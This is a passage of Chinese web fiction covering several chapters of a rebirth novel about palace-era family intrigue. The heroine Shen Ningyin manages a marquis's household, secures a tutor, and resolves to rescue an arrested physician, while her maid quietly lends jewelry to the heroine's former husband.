快要入冬，依着侯府的旧例，冬衣要先赶制起来，如今侯府的光景，少不得要紧着消减发放。府库里银子有限，拆东补西不足取，沈宁音也绝不会掏嫁妆出来补亏空。
那便只能是顺了姑情失嫂意了。
到时候新仇旧帐，那些个府里的下人说不得就要给人撺掇着出来闹。
还有侯府账目上错漏颇多，光三年内的，也有好些对不上。这烂摊子全要交到沈宁音手里，没个经年的老嬷嬷上去弹压、帮衬，寻常主母是绝处置不了的。
松鹤堂那边欺她资历浅，想等着她去求。
可惜，沈宁音不是寻常人。
前世时，冷元景就没什么族产，沈宁音自个儿嫁妆也薄，一个铜子儿都恨不能掰开来花。那么多的苦日子，她都熬过来了。这点为难算个什么？
与其巴望着方嬷嬷过来帮衬，沈宁音更相信自己的实力，大不了亲自去瞧瞧采买。
沈宁音起身，一面去摘架子上的斗篷，一面有条不紊地吩咐：“染竹，你去青衣胡同陈家打听打听，那日陈三郎回去可是发生了什么事？”
陈家的那送子观音委实贵重，这东西都给送过来赔罪，想必是有什么她不知道的内情的。
“是。”染竹领了差使正要走。沈宁音又有些不放心：“兰香，你同染竹一起去。”
把人打发走后，沈宁音也出了门。雨后的天气着实冷，刚出了屋子便有冷风扑面而来。
沈宁音拢了拢斗篷，将自己裹得紧实了些。这点儿冷委实算不得什么，再冷，也冷不过这小院儿高墙内的人心。
如今，周婉失了体统之事已经传扬了出去，总有落到老夫人耳朵里的时候，侯府，也总有用得上自己的时候。
“宁音！”
沈宁音刚走出院门，远远儿地就听见了秦耀阳的声音，她低眉继续走，想装没听见。
哪知秦耀阳并不放弃，男人的腿很长，没多久便赶了上来，一把拉住她的手腕：“宁音，你走什么？”
沈宁音眉头微不可查地轻蹙了一下，转眸时，已恢复了往日的贤良温和：“抱歉，风太大，没听见世子唤我。”她不动声色地将手腕挣脱开来。
秦耀阳脸色稍缓。
“世子找妾身有事？”沈宁音不想耽搁，但到底身份在这儿，她便是不乐意，也得给秦耀阳脸面。
“嗯。”秦耀阳点点头：“是有关齐哥儿的事。”
沈宁音听着此事，别开了眼。
秦耀阳道：“我知你与他有些许误会，但孩子还小，教一教也是能学好的。”
沈宁音不吭声。
男人的语气越发软和，近乎轻哄：“我已同祖母说好了，齐哥儿往后就住在松鹤堂，也不必你亲自教养，咱们只要请一位德高望重的先生即可。”
他这般反反复复的劝，沈宁音心下都要气笑了，脸上波澜不惊，只沉着声音问：“世子，要说教孩子，大嫂的娘家乃是大族，什么样的先生请不了？”
“绝对不行！”秦耀阳一听这茬便眉头紧蹙：“周家的族学固然好，但里头都是周氏子弟，且那学堂直通内院，委实不清净。”
沈宁音听得心下冷笑，她大约也能猜着秦耀阳为何不肯送秦齐去周家学堂。
周家野心很大，秦齐若去了，一多半将来就得娶周氏女，再加上潜移默化，往后整个昌平侯府到底是秦家人，还是周家人说了算，那可就难说了。
“宁音，岳丈本是科举出仕，故交好友皆是文人墨客，想来更能寻到好先生。还望你辛苦一二。”
秦耀阳说的这一点倒是真。甚至沈宁音自己都曾师从名士孙靖元。
这天下的大儒只得那么南北两个，且都早已经不再传道授业。所以，现如今炙手可热的，就是大儒的几个关门弟子，孙靖元就是其中一位。
甚至那孙靖元还是江东孙家那位大儒的亲儿子。
秦耀阳见沈宁音不说话，抿了抿
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唇，沉声开口：“若宁音你不肯修书，那我只能亲自去与岳丈说了。”
沈宁音想了一下，这事儿还真绕不过去，遂抬头道：“好。”
“当真？”秦耀阳满眼惊喜。
沈宁音清楚，沈定山为了抓稳侯府这个助力，说不准真会去求孙靖元。自家那位老师又是个面冷心软的，还真可能答应下来。
前世沈宁音就曾为着冷元景去找过孙靖元。他是真的竭力帮衬的。
若没有他，冷元景的仕途不会这般顺遂。
可这样的助益拿给秦齐那样的人委实是糟践了。
沈宁音袖中的手攥了攥帕子，深吸了口气，转眸冲着秦耀阳略略颔首：“可以是可以，也不必父亲去请，我亲自去。不过……妾身有个要求。”
秦耀阳忙道：“你说。”
“我有个远房的侄儿，也六岁了，就让他们一道念书。也好有个照应，可好？”
“这……”秦耀阳有些愕然：“我怎么不知你有个远房的侄儿？”
沈宁音温婉浅笑：“前两日来投奔的，我看他尚算乖巧，也就留在身边儿照顾着。”
“不行。”秦耀阳语气压抑：“此事你怎的不跟祖母还有母亲通通气呢？还有，你不肯照看府里的哥儿，却跑去照顾旁人？”
沈宁音闻言，就好似没听出他话里的愠怒般，莞尔一笑：“都是亲戚么，难不成世子的亲戚是亲戚，我的便不是了？”
“这……”秦耀阳一时语塞。半晌，道：“可你侄儿不姓秦。”
沈宁音道：“妾身也不姓秦。”她深知道眼前男人拿捏不了主意的性子，也不想耽搁时辰，便说：“世子看着办。若没有旁的事，妾身就先出门了。”
沈宁音绕过了秦耀阳。
秦耀阳下意识地跟了两三步：“好，我答应就是。”
沈宁音脚步一顿：“那我这会儿要忙，母亲与主母处，就劳烦世子帮忙提上一嘴了。”
“好。”
沈宁音就是料定了秦耀阳不会推辞，更不会去问沈定山。
毕竟沈家的亲戚，他找自己又或寻沈定山，那都是推脱不开的。他不至舍近求远。
而松鹤堂那边，叫秦耀阳去说，那可比她自己去，要轻松简单多了。
南烛那一笔字，堪称妖孽，是个好苗子，与秦齐那等被宠坏了的小霸王放在一处，高下立判。
她倒要瞧瞧，到时候秦家人的表情得有多么精彩。
64. 狼狈
“那日啊？哎哟，你是不知，那陈三公子四肢都给打断喽，血淋淋的，忒吓人。”
“可不是？死狗一般被扔到门口，啧啧。”
青衣胡同里头，那日陈三郎给送回去时闹得很大。打听起来，都不必丫头们好说歹说，闲聚在一处的婆子们磕着瓜子儿就拉着她们讲了个绘声绘色。
至于皇城司，不过是又多了一笔狠辣传闻。
兰香瞠着眼、光听着都害怕，只觉得连风都凉飕飕的。她分明记着陈三郎送出府的时候也不过是鼻青脸肿罢了。
两人回去的时候，兰香搓了搓手臂上的鸡皮疙瘩：“这皇城司可真残暴，难怪市井传言都讲里头个个青面獠牙，想来那个薛大人成天戴着面具，定是长得最最凶恶的一个！虽说那陈三郎君也是活该，但皇城司那边儿一送，连四肢都给打断了，也不知会不会落下残疾。”
染竹魂不守舍，脸色有些白，抓着篮子的手更紧了几分，喃喃道：“兰香你说，就连刑部员外郎家的公子犯了错处，都能说废就给废了，要换做咱们这样的人……怕不是只有死路一条？”
兰香倒是不以为意，拿了颗李子咬了一口：“你就别想这些了，吃个李子吧？咱们有少夫人护着，谁敢对咱们动手？”
染竹却没说话，心思却是飘到了别处。
等绕过路口的时候，染竹突然就停了步。兰香李子都不敢嚼着了，说不出的小心翼翼，生怕是刚刚的碎嘴子给皇城司的人听见了：“怎么了？”
兰香顺着她的目光看过去，就只瞧见一抹湖蓝色的背影。
“没什么。”染竹顺手将篮子塞到兰香掌心，后者忙不迭抓稳了。
染竹提着裙裾就往出追：“兰香，我有点儿事，你先回去。”
“哎哎？”兰香反应过来想去拉着染竹，却是两手不得空：“你几时回去呢？”一眨眼的功夫，身形纤细的染竹就钻进了人群。
一盏茶的时间后，染竹擦了擦额头的汗、喘着气，立在一间酒楼旁边儿，酒楼上烫金的牌匾上镌着“碎月楼”三个字。
天色还早，酒楼的客人不算多，但这等地方在上京有些名气，并非寻常人可以进的。
她按了按鬓角，微微抿唇，将眉梢也抚了抚，朝着二楼去，神色中隐约有几分期待。
刚走到门口，就听见争吵声音。
“你凶什么凶？！我这不是来了么？”女子的嗓音让染竹十分惊慌。
她下细去瞧，就只瞧见一阕裙角被拽回了雅间，旋即，那门就重重关上了。
雅间里头，沈弦思与冷元景的脸色都不怎么好看。
冷元景拉着沈弦思的手当先开了口：“弦思，我这不是因着在意你么？若我不在意，又岂会这般着急？”
听他放软了声气儿，沈弦思这才好受了些，她靠在心上人的胸膛：“元景哥哥，我也不是不想见你，我听着你好几次过来寻我，我也是着急的。”
“都怪那个沈宁音，水性杨花偷汉子，旁人还都不信我！我爹偏心她，一直罚我禁足！”
冷元景抱着沈弦思，眉头约略皱了起来。他是见过沈宁音的，倘使她当真水性杨花，自己想要攀上侯府就不必这么困难了……
“你是不是也不信我？”沈弦思感受到男人的沉默，一双杏眼里头满是控诉。
“没有。”冷元景连忙哄着她。
冷元景拉着她坐下吃饭，两人互诉衷肠，哄得沈弦思分外舒坦。
染竹在隔壁听得脸色泛白，自家掐进了掌心里。
只是聊着聊着，里头冷元景提起昌平侯府来，意欲打听一二。沈弦思立时耷拉着眼皮子，筷子一下又一下戳在饭碗里头，冷哼：“沈宁音一嫁人，母亲和父亲就不疼我了。”
“怎会？”冷元景撩袖给她布菜。
沈弦思就将碗一推：“还不是因着沈宁音受宠，秦世子又对她好……”她说着说着，脑子里泛起了酸水儿来。
沈弦思原以为秦耀阳是个二十多岁娶妻艰难的，从前一心只等着瞧沈宁音笑话，哪知道，那本该属于自己的男人非但俊美身份矜贵，还很会疼人儿。
沈弦思眼里的细节，审慎若冷元景又岂会瞧不出来？
男人脸色瞬间就沉了下去。
沈弦思却是兀自讲着：“说是家里两个嫡妹的婚事还用得着她，叫我且忍一忍。哼！”沈弦思不屑冷哼，伸手拉住了冷元景的大手：“妹妹们的亲事我们也能帮忙相看，元景哥哥认得那么多人，还不是手到擒来？你说是不是？”
“我有元景哥哥就够了，元景哥哥也不差。”沈弦思丝毫没察觉出男人笑容的僵硬，只幸福地抱住了冷元景的腰。
殊不知，将冷元景与侯府世子相比，还为难他给安排亲事，简直如同在侮辱他、骂他无能。
冷元景此人，最擅压抑着情绪。
在冷家那样的地方长大，上头又压着那么多学问出色的兄长，事实上，冷元景自卑又自负，沈弦思是他未婚妻，他就更忌讳被沈弦思拿来与旁人做比较。
“元景哥哥，你怎么了？”沈弦思直到男人将她推开，这才反应过来些许不妥。
她有些慌乱地看着男人。
“没什么。”冷元景低头，恢复了笑容，在沈弦思眉间吻了一下，他深吸口气：“下个月便是婚期，我要回姑苏去，再来时便是接亲了。”
冷元景抓着沈弦思的手，深情款款地看着她。看得沈弦思羞赧地红了脸颊：“怎么嘛？”
“今晚，思儿可否留下来？”
沈弦思吃了一惊：“元景哥哥？这怎么使得？”
冷元景皱紧了眉：“怎么使不得？”他伸手搂住了沈弦思的腰肢：“我们不是已经定亲了么？早一日迟一日又有什么关系？”
他哄着沈弦思，想把人吃到嘴里，这些时日他吃够了侍郎府的闭门羹。
冷元景本也是不着急的，可他整整去了七次、七次都没有见着沈弦思！他盘缠用尽，这几天饥一顿饱一顿的，又不敢找沈家借钱。
种种委屈叠加上来，冷元景不免想到上京城、尤其昌平侯府的富贵，再想着好不容易时来运转能一跃而上攀附到侍郎府这样的人家，若是婚事有变，他简直要如坠地狱。
不能得到沈弦思的身子，他对这桩亲事便毫无安全感！
哪知，他刚吻住了青梅的嘴唇，却蓦然被她一
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把推开。沈弦思受了惊吓，这一推力气出奇地大，碗盏给撞地上碎了两三个，冷元景给凳子一绊，整个人摔在了地上，正巧压在了碎瓷上。
尖锐的碎瓷划破了男人的衣摆，刺痛与嫣红的血同时传到脑子里。将他的自负与自尊剜了个干净。
伤口其实不大，冷元景从未这般狼狈过，他的眼睛里黑漆漆地蕴着阴冷。
沈弦思也吓到了，她看看自己的手，震惊地捂住了嘴唇。反应过来要去拉男人起来时，外头已经有人推门而入。
“冷郎君，您没事吧？”染竹惊慌失措地跑进来搀扶冷元景。
冷元景与沈弦思几乎是同时看向了染竹。
“你？”沈弦思从震惊中回神：“你是染竹？！”她很快意识到，染竹是沈宁音的贴身大丫鬟，染竹既然在这，那沈宁音说不定也在附近等着看自己笑话。
再加上沈弦思本就是禁足期间偷跑出来的，她更怕沈宁音将自己私会未婚夫的事儿捅去侍郎府。
沈弦思脸色难看，也顾不得旁的了，惊慌失措地夺门而逃。
冷元景在染竹的搀扶之下站了起来，他紧抿着薄唇。
“郎君受了伤，得去医馆瞧一瞧。”染竹关切地查看他的伤口。
冷元景衣摆处沾着汤汁，又有血，下意识地挡住，将染竹轻轻推开：“些许小伤，不必了。”
“还是去瞧瞧吧。”染竹面露担忧：“这回春堂的郎中医术极好，您的伤口浅，必定半点不会留疤的。”
冷元景心下苦笑，回春堂那样贵的药堂，他如今身无分文，自是没办法去的，可他也不能宣之于口。
这时，掌柜与店小二从外头走进来，看见洒落在地的饭菜、还有摔坏的碗盏。
“啊哟！你怎么回事？”掌柜的满脸恼火：“你怎么还摔碎东西呢？”
小儿扶起凳子按了按：“凳子也裂了口，不能要了啊！万一客人坐着摔了可怎么办？”
冷元景捂着腿上的伤，脸色青一阵白一阵。
染竹气得走到掌柜跟前，怒声道：“你们讲不讲道理？冷郎君他不是客人么？你们没瞧见他受了伤？非但不安慰体恤，竟这般指责客人！你们到底是什么居心！？”
染竹在前边儿替他出头，冷元景脸色愈发臊得通红：“算了……”
“怎么能算了？”染竹不依。
掌柜的气笑了，目光转向冷元景：“冷郎君，她问我什么居心，你来说说我什么居心？你砸坏了东西不该赔钱么？”
冷元景连忙息事宁人：“都是误会……”
“什么误会？”染竹道：“不就几个盘子凳子的？陪你就是？”
掌柜冷笑，指着冷元景的鼻子道：“好啊，你赔。”
冷元景低着头默不作声，他此刻哪里还有当初意气风发的样子？一张如玉琢磨的俊颜也仿佛被摧折出无奈来。
染竹久不见他开口，于是诧异地看向冷元景。
“冷郎君？”她很不理解，不明白男人为何不动：“不过几个铜钱罢了，甩给他们就是。”
直到掌柜的掏出了算盘，冷冷地开口：“几个铜钱？那可不是几个铜钱的事儿！”
65. 倒贴
冷元景看着掌柜的掏出了算盘，当下心急如焚，忙上前道：“掌柜的，我赔，我一定赔的，都挂在账上。”他也不想掌柜将他赊账之事叫嚷出来，没得叫人低看了去。
“我替他给！”染竹大声道。
掌柜的一愣，又看着染竹发间不菲的朱钗和耳饰：“你当真愿意替他给？”
“自然。”染竹去掏腰间钱袋，心里思忖着几个碗盏一张凳子，再如何贵又能贵到哪儿去？
冷元景抬手按住了她掏钱袋的手，眼神闪躲：“不必了，我过几日一并给……”
他客气的时候，语调有几分僵硬的。染竹抬头看着男人俊逸朗清的面容，不禁绯红了脸颊，她这会儿正是少年慕艾的年纪，对方又曾在乱民里头救过自己性命，她哪里能有什么疑心，就真乖巧地放下了手：“也好。”
掌柜的看了他们一出戏，半个子儿也没讨到手，往地上唾了一口，暗骂了句晦气，便转身张罗人进来打扫雅间。
冷元景也就是客气一下，内心里不想叫人知道自个儿的窘况。可他自己也清楚，他说到底也不是个多么受重视的子弟，空有个嫡出的名分罢了。
他书读得不上不下，是个秀才，又没有挣钱的能耐，冷家在上京并无根基，能倚仗的，不过是未来岳家，可他哪里能拉得下脸去问沈弦思借钱？而昌平侯府，秦耀阳刚给了他好几百两，冷元景更没那个脸去。
所以冷元景拒绝的话一出口时，他就已经在后悔了。
这样的情绪一直到他与染竹走出碎月楼。
再三斟酌，冷元景还是决定找染竹开口，当下停了脚步，闲谈的口吻：“染竹姑娘，你怎的来了这碎月楼？”
染竹被问得猝不及防，低着头紧张地揉着衣角：“是……是我家少夫人吩咐我出来办事……我路过这里。”
染竹平日里极稳妥，可在冷元景跟前时，偏又表现得破绽百出。
冷元景脑海中，不禁想起了那个瑰姿艳逸、高高在上的秦家少夫人。想到她人前冷若冰霜，人后却在关心着自己，冷元景不由得心下一荡，用低沉的嗓音感激地开口：“替我多谢你家少夫人。”
染竹疑惑地抬眸，不解此事与少夫人有何干系。
冷元景斟酌片刻，下定决心：“我此来上京短了银钱，想稍借一些应急，染竹姑娘，能不能……”
男人的眼神分外专注认真，天光下，那双好看的眼睛格外明亮，染竹几乎能听见自己的心脏在胸腔里跳动，她没耽搁，不等他说完就打断道：“要多少？”
冷元景心情轻松了许多许多：“一百两。”
“啊……”染竹抓着钱袋的手一抖，眼里有八九分的震惊。沈宁音对下人大方不假，可再如何大方，丫鬟们的月例银子也就二两，这还是大丫鬟的。便是跟着府里吃用，全都攒下来，那也得好几年的光景。
一百两不是个小数目啊。染竹捏着钱袋，里头的散碎银子连零头都不足。
“怎么了？”冷元景看她不说话，心下忐忑。
男人此刻的样子有几分破碎感，实在叫她心疼。
染竹咬了咬牙，抬手取下耳环，又将两支新得的朱钗都放进了荷包里，她把东西一并塞进了冷元景的掌心：“这些先拿去顶一顶，拿去当了，应该也有个好几十两”
冷元景内心狂喜，暗暗发誓将来定要出人头地。
“多谢！”他捏紧了荷包。
染竹连忙通红着脸低头道：“冷郎君不必介怀，您待奴婢是有救命之恩的，奴婢无以为报。”
冷元景没去看染竹娇羞的眉眼，只想着将来若有机会，定要将那侯府里的美人收入帐中，以报答她此番命人来帮衬的好意。
染竹回到祁秀院的时候，天快黑了。
“哎呀，你怎么才回来？”兰香迎上去握住染竹的手：“怎么这么凉？”
沈宁音坐在桌案边翻看账目，闻言抬头看了过去。刚点上灯，屋子里光线并不太亮。
染竹走到近前，沈宁音就看见她嘴唇都给冷得有些泛白，偏那一双眼睛分外亮堂，像是心情不错。
沈宁音弯唇笑了笑，也没多问，吩咐兰香去点个炭盆来暖暖身。
兰香笑着应了，兀自下去不提。
也就在这时候，沈宁音无意中瞥见染竹有哪里不同了。想了许久，直到兰香端着炭盆走进来时，两相比对，沈宁音才发现了染竹的问题所在。
她出门的时候，是戴了首饰的。
“染竹，你怎么打扮得这么素？耳环呢？”
“对哦？”兰香也走过来拉着她端详。染竹笑着低头掩饰：“就是太贵重，我给收起来了，怕丢。”
她这话倒也没什么问题，但沈宁音直觉有什么地方不清晰，却又想不起来。
沈宁音是怜惜染竹的，前世的染竹跟着她这个没根基的主子，沈宁音成婚没一年，染竹就让冷家老夫人要过去给冷元景做了通房，小产了好几次，坏了身子，这才抬了姨娘。
染竹家里老子娘又经常得病，需要药钱。
沈宁音掐了掐掌心，深吸一口气，声音温柔：“染竹，快冬天了，你挑个日子回家一趟，给你老子娘捎带些水果蔬菜，顺道拿二十两请个郎中给她瞧一瞧，这天气变化无常的，她们可别生了病硬拖着，越拖越不好了。”
前世时，染竹她娘就是因着一场风寒死的，穷惯了的老实人舍不得几个药钱，得了病就是硬生生拖。前世染竹娘死的时候沈宁音与染竹都在姑苏，莫说不可能知道消息，便是知道了，也鞭长莫及。
噩耗传过来的时候，染竹正小产不久，祸不单行下，染竹身子彻底垮了。
如今，沈宁音算一算时间，那场风寒就在这个秋冬，应该来得及。
二十两银子，买最好的药来治病后，应该还能余下不少，也能做个花销，这样，染竹没有后顾之忧，也不可能会出问题。
染竹闻言惊愕地抬起头，她立马磕了个头：“多谢少夫人。”染竹看沈宁音的神色感激里还夹杂了几分复杂与忐忑。
沈宁音今儿去了外面亲自打
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听采买，尤其冬衣和炭火，又将上回从秦耀阳处讨来的一些金子统统换成了银票。
再加上陈家打听来的事儿也直叫她焦头烂额。
忙了一天，沈宁音也累了，当下便搁了账册先歇下了。
夜雨之后的清晨，比起往日又添了些凉意。
皇城司衙门就在诏狱旁边儿，门口两只石狮子是按着公侯的规格凿成的，许是煞气重，石狮子分明是死物，却偏叫人有种血腥残暴的冰冷错觉。
十位勾当皇城司公事是经年的神龙见首不见尾，如今也唯独一人例外。
薛岚作为第十一位公事，就在房间面朝窗外坐着，早晨的阳光破开了云翳、破开了一重重的氤氲水气，照在他脸上，伤口裸露在阳光下，有些痒痒的。
薛岚将那面帕子牵开，当他瞧见那上头的花枝，就好似能从中窥见一个少女，明媚、张扬，桃花般夭灼。薛岚抬手轻抚，指腹上不平的触感摩挲碾过，薛岚皱了皱眉，竟觉着连舌尖都又几分痒了起来。
他已分不清到底是脸上的疤痕在痒还是来自舌尖，一如薛岚也不理解为何分明想着的是姣姣不群的桃花，最后却绣出了冷白清妍的白海棠？
突然，门外传来一阵脚步声，薛岚用力在舌尖咬了一下，将所有的异样统统压抑下去。
“大人。”有人在外头请安。
薛岚抓起手帕塞进袖子，懒懒斜睨：“进来。”
番子躬身行礼：“禀大人，查清楚了，当年伪朝圣后身边的嬷嬷确实没有留下尸体，替她处理后事的人是……”
薛岚的手掌握紧了座椅扶手，沉声：“是谁？”
“柳太医。”番子斩钉截铁。薛岚沉默之际，番子道：“可还要继续打听？”
薛岚微眯起鹰隼般的眼眸，腾地起身，一把扯过了架子上的裘皮大氅，将面具复又遮在了疤痕交错的脸上，语调森冷：“不必。”
他攥紧绣春刀：“拿人！”
薛岚掸了掸大氅上并不存在的灰尘：“诏狱里，没有不开口的活人！”
阳光正好，寒风也峭。
为着往侯府请先生的事儿，沈宁音一早就叫人往侍郎府递了帖子。
因着这事儿，侯府原本因着上回她打了大半的仆从而做下的乱子，正好都先撂下，合该叫松鹤堂里的那位去头疼。
偏沈宁音这是再正经不过的事，老夫人还不能拦着。
这一次，沈宁音照旧领着许多的人浩浩荡荡地去。
如今，她是掌着中馈的主母，自然当得。即便秦耀阳没有陪同，侍郎府也半点不敢怠慢。
沈宁音被搀扶下马车，接人的是蔡氏，蔡氏笑着上前拉着她的手寒暄。
“兄长与父亲呢？”沈宁音边往里进，边问。
一提到这个，蔡氏的笑容就淡了许多，有隐约的担忧。
沈宁音微微蹙眉：“可是家中出了什么事儿？”
蔡氏忙道：“不是咱们家，是柳郎中，如今夫君在外头探消息，说是给抓去了诏狱。”
66. 凉薄
沈宁音听闻柳郎中出事不禁吃了一惊。按着她两世的了解，柳郎中此人办事谨小慎微，几乎毫无朋党，在内宫中的口碑也极好。
到了年岁还能平安告老的太医，必不会有什么大的把柄落在明处。
不过，前世沈宁音外嫁，后来确也没再听过柳郎中的消息。
“柳郎中平日里不过行医问诊，怎会突然惹上官司？”沈宁音蹙眉。
蔡氏听罢也是凝眉叹息：“谁说不是呢？前些天玉姐儿病了，咱们家还找他来瞧过……”
蔡氏反应过来，又扯出笑容：“哎，瞧我这张嘴，你难得回来，不说这些了。外头的事儿自有你长兄与父亲去张罗。风冷，先进去，屋子里暖和。”
沈宁音跟着蔡氏进了府门，二门口就碰见了一个十四五岁的少年坐在台阶上，少年郎穿着单薄的衣裳，身子抑制不住地抖。
“那是柳家的小郎君。真是可怜见的。”蔡氏叹了口气，连忙吩咐人将他扶起来：“这是怎么了？”
少年红肿着眼睛站在那儿，也不说话。
沈宁音上前去宽慰了几句。
堂屋。
一行人刚到门口，就听见沈夫人与沈定山正说话。
“老爷，柳太医人再好，那也是个外人。淮远难得有了点起色，补了个六品中书检正的职缺，若是因为替柳太医奔走而丢了官职，将来可是一辈子的事儿！那抓人的可是皇城司！”沈夫人声音都带着颤，显然是吓的。
提到皇城司，沈定山便沉默了。
外头听见的蔡氏脸色也变了变。
沈夫人见沈定山动摇，忙又劝道：“沾惹上这些人，连昌平侯都要吃苦头，咱们又能怎么办呢？您曾经救过柳太医一遭，如今也算是两不相欠……”
沈定山本就心生退意，再经沈夫人一劝，便也借坡下驴：“那就……就算了罢。”
听到这，门外的柳小郎君已经是脸色惨白，沈宁音瞧在眼里心生不忍，但家里的事儿，她也不好多插手。
想想自己此来的目的，沈宁音深吸了口气一把推开了门：“父亲。”
堂屋内没有竖着屏风，沈定山一眼就看见走进来的沈宁音。
柳小郎君紧握双拳眼睛通红，沈定山瞧见他，当下就躲闪开眼神：“怎的也不敲门……”
“沈老爷，您当真不管我祖父了么？”好一会儿，柳小郎君喑哑又失望的声音才从嘴里咬出来。
身形单薄的小郎君有些站不稳，沈宁音连忙命人去扶，几个丫鬟婆子七手八脚地将他安排到杌子上坐了。
沈定山更抬不起头来了，一径地叹气。
柳小郎君声音颤抖，带着哭腔：“我祖父往日里不光给侍郎府免费看诊，还因着侍郎府的人情去给旁的贵人们请脉。这些事儿沈老爷莫非全忘了？”
沈宁音听着这些也颇有点羞愧，但说到底，自家父亲有什么能耐她最知晓。上一回能把薛岚从诏狱捞出来，也不是他的功劳。
但，话虽如此，却也不能这般行事。
沈宁音便开口提醒：“父亲！倘使咱们袖手旁观，将来还有谁瞧得上咱们家？谁还敢跟咱们家深交？”
沈定山深知道女儿说得有理，可现实摆在他跟前。
皇城司是圣人的，沈定山好不容易因着跟昌平侯府做亲得了些好脸色，他哪里敢因为柳郎中去开罪皇城司？
人，都是自私的，必要的时候，连亲人也能舍弃，更何况一个外人？
沈定山脸上的表情十分复杂，却也拿捏着身为一家之主的威仪：“此事与你无关，为父自有定夺！”
沈宁音言辞恳切：“办不办得到另说，可若连做都不肯去做，才真真叫人心寒。”
沈定山有些下不来台，脸色肉眼可见的恼怒：“这儿还轮不到你来说话！”
沈夫人这些时日因着沈宁音不知受了多少委屈，如今见沈定山恼了女儿，她乐得火上浇油：“你上下嘴皮子一碰，就有话来挤兑你父亲了？说到底你也不过是个出嫁女，若真出了何事，也落不到你头上去。最后还不是你父亲与兄长顶着，还不是侍郎府顶着？”
“还有你。”沈夫人又指着蔡氏：“你夫君的前程可就指着这一次的补缺了。你也要帮着外头人么？”
蔡氏一想到自家夫君，顿时也没了血性，站到了沈夫人身边儿：“婆母，宁音难得回来，况且这儿还有外人……”
沈夫人见再没人说话，理了理裙裾，抬高下巴看向柳小郎君：“也不是咱们侍郎府不肯帮忙，实在是那皇城司太过霸道。你找谁去都是没用的。不如打点好行囊逃命去，省得被牵连……”
话一说完，便示意下人们将柳小郎君送出府去。
柳小郎君不愿，几个婆子就拉扯着他。柳小郎君的眼里透着无边的失落与不甘。
人嘛，到底是自私的，没落到自个儿头上的时候，谁都要自扫门前雪罢了。
“娘。”一道声音从门口传来。
拉扯间，柳小郎君的膝盖重重砸在冰冷的地上，仿佛不知道疼。
蔡氏正在心下感慨柳家倒霉，没料想沈玉珠到了门口。
屋子里众人皆是愣怔住。
蔡氏见了她，连忙上前去捂着女儿的手，眼神焦急：“玉儿，你病刚好些，跑出来作甚？下人们都是怎么看顾的？”
蔡氏正要叫人将姑娘带回房，却被沈玉珠挣脱开去。沈玉珠跪在柳小郎君身边儿砰砰朝着祖父磕了几个响头：“祖父，柳小郎君没了爹爹，柳郎中是他唯一的亲人了，您就帮帮他吧？”
沈宁音转眸一看，只看着柳小郎君的目光定定地瞧着沈玉珠的侧脸，少年人的目光皆是清澈的，便是最无助的时候，也不掺任何杂质。
可沈玉珠在家里并不受宠，沈定山哪里能因着他便改了主意？
好一阵沉默之后，沈宁音叹了口气。她走到两个小辈跟前，冲他们抬起手：“先起来吧。”
沈玉珠抬起脸，神色倔强：“姑姑，连你也要拦着我么？”
沈宁音露出个温和的笑，
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手上使力，将不情愿的小丫头拽了起来，又去拉柳小郎君的胳膊。后者满脸的戒备。
沈宁音便轻笑道：“你若不起来，我要如何去救你祖父？”
沈宁音声音不大，可堂屋里众人却听得清清楚楚。尤其是沈夫人。
等蔡氏领着女儿与柳家小郎君离开后，屋子里就只剩下了沈夫人、沈宁音与沈定山。
“你真是疯了！”沈夫人气不打一处来：“你当皇城司是个什么地方？诏狱又是个什么地方？”
沈定山脸色难看，也盯着沈宁音，低沉着声音道：“你一个妇道人家，不在侯府伺候你夫君，掺和这些做什么？”
“你若是惹出事端来，辱没侯府，更牵连上咱们家！”
沈宁音早知他凉薄，数落自己不过是怕被牵连。当下不疾不徐地呷了一口茶：“父亲不必忧心，我既是自个儿应承的，一切事务皆由我一力承担。”
沈定山听她讲出这等划清界的话来，心下莫名觉着窝火又憋屈。
柳郎中是侍郎府的座上宾，原该是沈定山来管的，如今他不肯管，叫沈宁音管了去，他又觉得脸上无光。
沈定山横竖看女儿不顺眼，语气就更冷了：“你此时回来，到底所为何事？”
沈夫人冷言冷语地搭腔：“莫不是听着什么风声，专程来瞧家里笑话的？”
沈定山本就对沈宁音有了看法，这会儿经沈夫人一挑唆，看向沈宁音的眼神又冷了几分。
沈宁音摸着茶盏的手略顿，目光没什么波澜，只是看着沈夫人道：“母亲慎言，女儿也是出自侍郎府，是父亲嫡出的女儿。”她把个嫡字咬得极重。
沈夫人一听，脸色瞬间就黑了起来，但有些话，却又不能反驳。
见她闭了嘴，沈宁音才娓娓说明了来意。
沈定山听罢眉头蹙紧：“你是说孙先生？”
“正是。”沈宁音颔首。
沈定山蹙紧了眉头，颇有为难。其实沈宁音也知缘故，孙靖元在伪朝时曾名噪一时，伪圣在位时，就曾想请他出山教导太子，只是还没成行，伪朝就倾覆了。
沈定山现在是既想得昌平侯府的好处，又不想承担任何风险。
可天底下，哪里有这等好事呢？
沈宁音弯唇，她也懒得戳穿父亲的心思，只道：“请孙先生来，是为着教导侯府里的哥儿，昌平侯府得圣人看重，便是请了他来，又能如何？”
见沈定山还在犹豫，沈宁音索性道：“父亲只要修书一封，请先生出山之事，自有侯府的人去办，到时候请不请的来，也不是您这儿的事了。”
沈定山一听，也觉有几分道理，当下抬眸盯着沈宁音的眼，沉声道：“若我写了这推荐信，柳太医之事……”
沈宁音站起身，盈盈一拜：“若女儿救不出来，祸事我一力承担，若救出来了，功劳都归父亲。”
听她这样说，沈定山这才满意地捋了捋胡子：“这可是你说的。”
“是。”沈宁音脸上笑意不减。
67. 稀客
沈宁音旧时的闺阁在最靠西的一处跨院，因来得匆忙，房间也只是略打扫了一番。
无人修剪的院子，野草疯长。
不过，沈宁音瞧着，倒也别有意趣，无妨多么杂乱，却生机勃勃，叫人放松。
沈宁音并没有将沈定山给的信送回昌平侯府，而是先揣进荷包，另写了一封约见薛岚的信笺，与那时候他给的玉佩一并交由兰香往皇城司衙门送去。
做完这个，沈宁音便歪在了美人靠上小憩。
迷迷蒙蒙间，她仿似听着染竹在唤她。沈宁音将将睡了不久，眼皮子还沉着，不愿起来，就索性翻了个身。
染竹又喊了一声，见她没醒，染竹又踟蹰了一下，这才放心地掀帘子出了房门。
“春渠。”
春渠听着染竹叫她，忙应了声。
染竹袖子里的手捏紧，语调平静道：“少夫人歇下了，你且看顾着，我出去一趟。”
春渠看她往外头去，蹙眉问：“染竹姐姐是要去哪儿？”春渠提醒道：“前院来了外男，咱们是客，若是不仔细些容易给少夫人招麻烦。”
